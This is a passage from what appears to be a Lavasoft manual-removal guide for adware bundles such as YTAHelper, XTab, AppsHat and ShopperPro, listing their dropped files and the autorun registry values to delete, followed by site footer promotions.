    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2abc693edce136b5b851c7f83ff0404e.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\92cc70ff20c960dbef55980ab7dc369a.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6386560cbef2dcc28936cd64f6107889.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\7624fec8f98ea5a562e5191b03115d81.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (21 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\AccDownload.dll (11667 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\jsdrv.exe (100669 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp906.tmp (133285 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\System.dll (23 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
    C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
    %Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
    %Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\MoreInfo.dll (15 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\nsExec.dll (14 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22392\ins_postInst.exe (4103 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22392\ins_yta.exe (28491 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\64x64[1].ico (7345 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\config[1].json (778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\16x16[1].ico (1150 bytes)
    C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
    C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
    %Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
    %Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
    %Program Files% (x86)\XTab\skin\btn.png (2 bytes)
    %Program Files% (x86)\XTab\install.data (68 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
    %Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
    %Program Files% (x86)\XTab\web\ver.txt (5 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
    %Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
    %Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
    %Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
    %Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\main.xml (4 bytes)
    %Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
    %Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
    %Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
    %Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
    %Program Files% (x86)\XTab\web\js\js.js (18 bytes)
    %Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
    %Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
    %Program Files% (x86)\XTab\skin\logo.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskCBE7.tmp\System.dll (23 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
    %Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
    %Program Files% (x86)\XTab\web\main.css (19 bytes)
    %Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
    %Program Files% (x86)\XTab\skin\close.png (3 bytes)
    %Program Files% (x86)\XTab\web\data.html (20 bytes)
    %Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
    %Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
    %Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
    %Program Files% (x86)\XTab\skin\about.png (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\settings.png (5 bytes)
    %Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
    %Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
    %Program Files% (x86)\XTab\web\js\common.js (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
    %Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
    %Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
    %Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~F0A9.tmp (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF3F.tmp (345 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\easyburner.msi (55707 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF50.tmp (77 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Imaging Component (x86).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows Server 2003 SP1 (x64).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF006..dll (15945 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF037..dll (15945 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 (x86).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\easyburner[1].msi (2317485 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF73.tmp (705 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows Server 2003 SP1 (IA64).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFD3.tmp (667 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\_ISMSIDEL.INI (31406 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFD4..dll (15945 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~EF4F.tmp (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF098.tmp (77 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows XP (x64).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Imaging Component (x64).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\0x0409.ini (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF62.tmp (77 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF057.tmp (647 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Setup.INI (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF026.tmp (668 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFC3.tmp (692 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~EF61.tmp (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows Server 2003 SP1 (x86).prq (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~F097.tmp (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF3E.tmp (77 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF74..dll (15945 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF005.tmp (671 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFF4.tmp (672 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF058..dll (15945 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF0AA.tmp (77 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC533.tmp (34417 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\CCDD5858CA6C4A7A (34773 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\D1989.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\D8WFPCG6.txt (136 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2EQ09383.txt (95 bytes)
    

    5. 

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):
    

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
    "easyburneres" = ""

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

    

    6. 

  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    7. 

  7. Reboot the computer.
    8. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
No votes yet












				


							


			

				
					  
							

		

		


					
							

	

	
	        


	

        
      
 

      
      

      
    
 

    
  
 

		


		

		
			

			

				

					Lavasoft is the maker of Ad-Aware,
					the world's most popular anti-malware 
					software with over 450 million 
					downloads.
				

				

					© 2026 Lavasoft. All rights reserved.

					Terms Of Use |   Privacy Policy
					


								

			


		

		


	

	
	

	

		x
		
Our best antivirus yet!

		
Fresh new look. Faster scanning. Better protection.

		

			
Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

			
For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

			
			Download adaware antivirus 12
		

		No thanks, continue to lavasoft.com
	

	

		

			close x
			
Discover the new adaware antivirus 12

			
Our best antivirus yet

			Download Now